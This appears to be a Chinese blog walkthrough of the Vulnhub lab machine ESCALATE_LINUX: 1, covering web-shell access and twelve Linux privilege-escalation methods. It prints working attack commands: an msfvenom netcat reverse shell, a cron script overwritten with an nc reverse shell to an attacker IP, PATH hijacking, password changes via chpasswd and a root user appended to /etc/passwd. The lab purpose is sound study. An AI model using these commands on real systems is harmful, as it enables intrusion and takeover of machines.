• Vulnhub-靶机-ESCALATE_LINUX: 1


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

    地址:https://www.vulnhub.com/entry/escalate_linux-1,323/

    nmap -n -p- -A 192.168.226.7 -o escalate.nmap

    nmap扫描结果

    看到开放了80端口,浏览器访问看看

    发现是默认的apache页面,那么爆爆php后缀的路径看看

    居然搞出来了shell.php文件,访问看看

    上面提示可以通过使用参数执行cmd命令

    还真可以执行命令,那么进行反弹shell提权操作,靶机的描述有12种以上的提权方法,我们慢慢往后看吧,看能搞几种,首先我们使用metasploit搞下

    上面是使用metasploit配置好监听端口然后将生成的反弹代码通过burpsuite进行url编码然后访问shell.php的cmd参数命令成功反弹shell,具体如下:

     

    上面操作完毕后,开始进行shell环境使用LinEnum枚举下当前环境

    执行枚举脚本

    确认存在8个用户,那么有可能每个用户都有提权的可能性,继续观察

    看到user4用户有个计划任务每5分钟以root身份执行一个脚本,这里可能是其中一个提权的途径,估计还有很多,那么我们一个一个来,慢慢提权,先变成友好的shell

    方法一:

    python -c 'import pty;pty.spawn("/bin/bash")'

    上述反馈说明当前通过metasploit反弹的shell是在user6用户上,那么我们看看此用户是否能够提权,首先查找下能否执行SUID特权的命令

    find / -perm -u=s -type f 2>/dev/null

    看到用户user3下面有个shell命令文件,能够使用SUID,去试试看

    猜测此shell命令的二进制文件里面含有C语言setuid提权代码,所以应该是能提权的,我们执行下看看

    方法二:

    根据枚举的文件信息,确认家目录user5下面有一个二进制script文件,通过strings命令查看查看仍然发现含有setuid等关键字,但是执行了一下发现跟命令ls执行的结果是一样的,因为这个脚本是使用root权限执行ls命令,所以这里可以通过全局环境变量提权,另外这里如果懂二进制的话可以使用gdb等分析工具分析二进制文件是咋运行的,那么会对原理了解的更深入,我不是太熟悉这类,就不演示了,下面看我执行此脚本显示结果就知道该script二进制文件做了什么

    上述显示结果一样,都是使用ls命令,那么通过全局环境变量提权,可参考:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

    成功提权,下面是提权过程的命令

    echo "/bin/bash" > ls
    chmod +x ls
    echo $PATH
    export PATH=/tmp:$PATH
    cd /home/user5/
    ./script

    方法三:

    枚举脚本发现user4下有的Desktop有一个脚本是通过计划任务使用root权限执行,看了下脚本的内容,跟提权没有关系,但是我们要更改这个脚本,目前反弹的shell是user6没有对于权限,具体如下:

    所以我们需要进入到user4用户更改脚本来达到目的,这里是不知道user4的密码,可以通过上一个提权方法直接更改其密码

    echo 'echo "user4:123456" | chpasswd' > ls

    切换至user4之后,就可以通过本地kali使用msfvenom生成反弹shell的代码,具体如下:

    msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=8833 R
    可以上述那样直接在屏幕生成反弹代码,也可以像下面一样,将反弹代码生成到一个文件种
    msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=8833 -f raw -o bmfxpe

    更改autoscript.sh 内容为如下:

    echo "mkfifo /tmp/vnfr; nc 192.168.226.3 8833 0</tmp/vnfr | /bin/sh >/tmp/vnfr 2>&1; rm /tmp/vnfr" > autoscript.sh

    本地kali使用nc监听端口,等待计划任务执行反弹shell

    方法四:

    同样使用全局环境提权的方法,更改用户user8的密码切换至该用户通过vi编辑器进行提权

    方法五:

    继续根据枚举的信息,确认user7是gid为0的组成员,继续使用相同的办法进入user7,切换至user7

    因为user7属于gid为0的组,且/etc/passwd是有写入的权限,那么可以直接通过user7用户写入一个uid为0 的用户bmfx即可提权

    echo 'bmfx:$1$bmfx$HuKLopGkC8MwDIxBcpRnr/:0:0:root:/root:/bin/bash' >> /etc/passwd

    方法六:

    上面的枚举脚本含有针对NFS的服务,通过枚举的信息可知NFS服务配置不当导致直接提权,具体原因如下:

    由上述信息可以通过用户user5生成一个可提权的可执行文件放在目标靶机执行即可提权,挂载nfs到本地kali,生成一个提权文件

    在目标靶机上执行,奇怪,这边我提权没有成功,看到网上有的是提权成功

    方法七:

    枚举的信息中有mysql用户,应该是可以利用的,那么尝试使用默认密码登录看看

    切换至mysql用户,查找各种文件, 发现了root账号和密码

    方法八:

    因为上面知道各个用户的密码,看看还有哪个用户没使用其进行提权,看了下user2没有,切换过去看看

    上述不是tty-shell,变成友好的可交互的tty-shell即可执行,最终提权结果如下:

    方法九:

    切换至user4,发现root的组里面有user4和user7,那么提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权

    方法十:

    看到/home/user3下面有.script.sh脚本内容同样是带setuid的权限直接执行提权即可

    这里直接执行.script.sh是不能提权的,需要借用执行shell才能提权,因为通过strings命令查看shell的二进制文件发现里面是调用.script.sh 所以套路跟方法一时候一样的,执行前该下.script.sh脚本即可

    方法十一:

    就是通过方法二echo 查看/etc/shadow文件,然后读取root的hash使用jonh爆破密码即可

    方法十二:

    直接通过user1的密码查看sudo -l 的特权进行提权即可

    参考:

    https://dpalbd.wordpress.com/ctf-writeup-escalate_linux-1/

    https://blog.csdn.net/qq_34801745/article/details/104144580

     

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    asp.net笔记第一章
    数据库复习笔记
    tp5博客项目实战2
    springboot调整MybatisPlus全局的验证策略
    SpringBoot整合MybatisPlus,并实现新增、修改、删除、查看、分页
    springboot整合Apollo
    创建apollo项目,并发布配置
    Apollo部门管理
    搭建Apollo环境(Ubuntu-18.04.4)
    启动apollo时出现的问题,../demo.sh: 行 84: curl: 未找到命令
  • 原文地址:https://www.cnblogs.com/autopwn/p/13804500.html
Copyright © 2020-2023  润新知